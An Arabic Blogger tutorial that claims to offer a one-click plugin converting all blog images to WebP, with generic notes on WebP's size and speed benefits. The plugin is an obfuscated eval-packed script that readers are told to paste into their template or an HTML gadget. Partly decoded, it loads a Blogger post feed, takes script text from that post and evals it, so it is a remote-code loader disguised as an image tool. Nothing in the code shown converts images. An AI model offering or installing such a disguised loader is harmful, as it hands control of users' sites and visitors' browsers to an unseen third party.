كيفية تسريع مدونة بلوجر تحويل جميع الصور في بلوجر الي webp بضغطة زر واحدة
ما هو السبب الذي يدفعني لتحويل صيغ صور مقالاتي الي webp تحويل صور مقالاتك ال webp وضغطها يعتبر عامل اساسي في تحسين السرعه .
وتتميز صيغة webp بصغر حجمها فهي توفر حوالي 26% او اكثر من حجم الصور مقارنة مع باقي الصيغ فالحصول على صورة سريعة التحميل .
والجدير بالذكر أيضا أن عملية تحويل صيغة الصورة إلى webp لا تفقد الصورة جودتها. ولا تنسي هذة الصيغه لا تعمل علي كل المتصفحات.
في الوقت الحالي لاكن في قالب سيو بلس خاصية مساعدة لتحميل الصور للمتصفحات التي لا تدعم هذة الصيغة .
1. كيفية تحويل صور WEBP إلى JPG أو GIF أو PNG
يوفر تنسيق WEBP صورًا قابلة للمقارنة بصريًا بتلك المشفرة باستخدام المعايير التقليدية مثل JPEG و PNG ولكن بحجم ملف أصغر بشكل ملحوظ.
ستصادفهم غالبًا على متصفحات سطح المكتب لأنها تجعل صفحات الويب يتم تحميلها بشكل أسرع.
ولكن بينما نما دعم تنسيق WEBP منذ أن قدمته Google مرة أخرى في عام 2010 ، إلا أنها ليست الأكثر توافقًا (خاصة مع تطبيقات تحرير الصور القديمة).
ستجد أدناه عدة طرق لتحويل صور WEBP إلى تنسيقات JPG و PNG المتوافقة على نطاق واسع. ستتعرف أيضًا على أفضل طريقة لحفظ صور WEBP المتحركة بتنسيق GIF.
2. ابدأ في تحويل صور WEBP الخاصة بك
من المفترض أن تكون المؤشرات أعلاه قد ساعدتك في تحويل صور WEBP إلى تنسيقات JPG أو GIF أو PNG.
إذا صادفت صور WEBP على Android أو iPhone .
فيمكنك بسهولة العثور على العديد من تطبيقات تحويل الصور على متجر Google Play ومتجر Apple App Store والتي يمكنك استخدامها لحفظها بتنسيق متوافق مختلف.
أو استخدم أيًا من مواقع تحويل الملفات أعلاه.
3. ضغظ الصور و تحويلها الى صيغة WEBP لزيادة سرعة الموقع
تنسيق webp عندما تقوم بإستخدامه فى مدونتك بلوجر فإنه يقلل حجم الصورة من 40 الى 71% واكثر من الحجم الأصلي للصورة.
وهذا يجعل موقعك يتم تحميل صفحاته بشكل أسرع.
وبسبب هذا فإن الكثير من المواقع الكبيرة تستخدم تنسيق webp، حيث أن موقع التحميل السريع يساوي تجربة أفضل للمستخدم ويتم تقييمه أسرع من قبل محركات البحث.
وبالتالى فرصته قوية فى الصعود لأعلى نتائج محركات البحث طالما يحتفظ بمحتوى قوى ومتجدد.اليوم نقدم لكم إضافة webp.
هذه الإضافة تعمل على تحويل جميع صور مدونة بلوجر الى صور webp
4. كيفية اضافة هذه الاداه الى مدوناتكم
أ- الطريقة الأولى
- انتقل إلى لوحة تحكم مدونتك
- إختر المظهر
- ثم تعديل HTML
- والآن قم بالبحث عن الكود التالي </body>
- وقبله تماما قم بلصق الكود التالى
<script>/*<![CDATA[*/
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0 P=1;0 z=(3(){1F{8 Q[\'R\']=\'S\',!2}T(l){8!E}}());3 1(d,x){0 s=f();1=3(c,X){c=c-2;0 9=s[c];F(1[\'L\']===Y){0 A=3(7){0 e=\'10+/=\';0 j=\'\';0 q=\'\';v(0 i=2,g,6,y=2;6=7[\'11\'](y++);~6&&(g=i%r?g*19+6:6,i++%r)?j+=12[\'14\'](16&g>>(-p*i&B)):2){6=e[\'W\'](6)}v(0 k=2,J=j[\'18\'];k<J;k++){q+=\'%\'+(\'17\'+j[\'15\'](k)[\'13\'](Z))[\'V\'](-p)}8 U(q)};1[\'C\']=A;d=1b;1[\'L\']=!![]}0 I=s[2];0 l=c+I;0 a=d[l];F(!a){9=1[\'C\'](9);d[l]=9}1r{9=a}8 9};8 1(d,x)}3 D(){0 b=1;0 a=o[\'\\1E\\1D\\5\\m\\h\\5\\w\\G\\5\\n\\5\\H\\h\'](\'1C\');a[b(2)]=b(E),o[b(p)][b(1B)](a)}3 1a(7){0 4=1;0 e=o[4(r)](4(1A));e[4(B)]=7[4(1z)][4(1y)][\'$t\'],7=e[\'\\M\\5\\h\\w\\G\\5\\n\\5\\H\\h\\1x\\1w\\1v\\1u\\m\\M\\1t\\m\\n\\5\'](4(1s))[2][\'1q\'],N(7),u[4(O)]=7}z&&1c!=u[P(O)]?N(u[\'1p\']):D();3 f(){0 K=[\'1o\',\'1n/1m\',\'1l\',\'1k\',\'1j\',\'1i\',\'1h\',\'1g\',\'1f\',\'1e\',\'1d\'];f=3(){8 K};8 f()}',62,104,'var|_0x55e7|0x0|function|_0x83501f|x65|_0x151151|_0x31dcbb|return|_0x1ebab3|_0x53b66d|_0x5c44ae|_0x36ef06|_0x55816b|_0x17c641|_0x5581|_0x5860a9|x74|_0x44d61a|_0x4bcd43|_0x293b57|_0x4cacf9|x61|x6D|document|0x2|_0x5be118|0x4|_0x186649||sessionStorage|for|x45|_0x55e71d|_0x48c712|Sto|_0x41f321|0x6|MUqWvV|GtS|0x1|if|x6C|x6E|_0x2a9050|_0x101077|_0x4b12fc|ByBOvC|x67|eval|0xa|_0x207503|localStorage|check|true|catch|decodeURIComponent|slice|indexOf|_0x5cbabf|undefined|0x10|abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789|charAt|String|toString|fromCharCode|charCodeAt|0xff|00|length|0x40|Bs|arguments|null|CNb0|C2nYAxb0|y29UDgvUDa|zw50CNK|Aw5Uzxjive1m|AhrTBa|y3jLyxrLrwXLBwvUDa|yxbWzw5Kq2HPBgq|AgvHza|ywX0pwPZB24TAw4TC2nYAxb0jMnHBgXIywnRpujZ|Ahr0Chm6lY93D3CUyMXVz2DLCI5JB20VzMvLzhmVmtuYndm4odCWntq2mZeYmdmXmc9WB3n0CY9KzwzHDwX0lZeZotyZmZC1mJuXmde4nJaZnZi|C3jJ|rpt|innerHTML|else|0x9|x4E|x54|x79|x42|x73|0x8|0x7|0x5|0x3|script|x72|x63|try'.split('|'),0,{}))
/*]]>*/</script>
7- الآن قم بحفظ القالب والف مبرووووك عليك الاضافه
ب. الطريقة الثانية
- انتقل إلى لوحة تحكم مدونتك
- إختر التنسيق
- إذهب أسفل الصفحة ثم إضافة أداة
- ثم اختر HTML/Javascript والآن الصق الكود داخل مستطيل المحتوى
- ثم قم بحفظ الاداه ومبرووووك عليك الاضافه
8. الخصائص الرئيسية:
- ستساعد في جعل الويب أسرع.
- سيعمل على تحسين حجم الصفحة.
- سيؤدي هذا إلى زيادة درجة الصفحة لتحسين محركات البحث الجيدة.
- الذي يستخدم ضغطًا غير ضار.
- يستخدم ضغط الفقد للصور الفوتوغرافية.
- سوف تقوم صفحة الويب بتسليم الصورة فقط إذا كان المستعرض يدعمها.
- يمكن إنشاء صور Webp من JPEG / PNG ، ولا حاجة لتحميل ملفات صور جديدة.
- يدعم ترجمات متعددة اللغات.
- لا توجد أي ملفات أساسية تحل محل أو تغير متجرك.
› انشاء مدونة بلوجر بعد التحديثات الجديدة
إرسال تعليق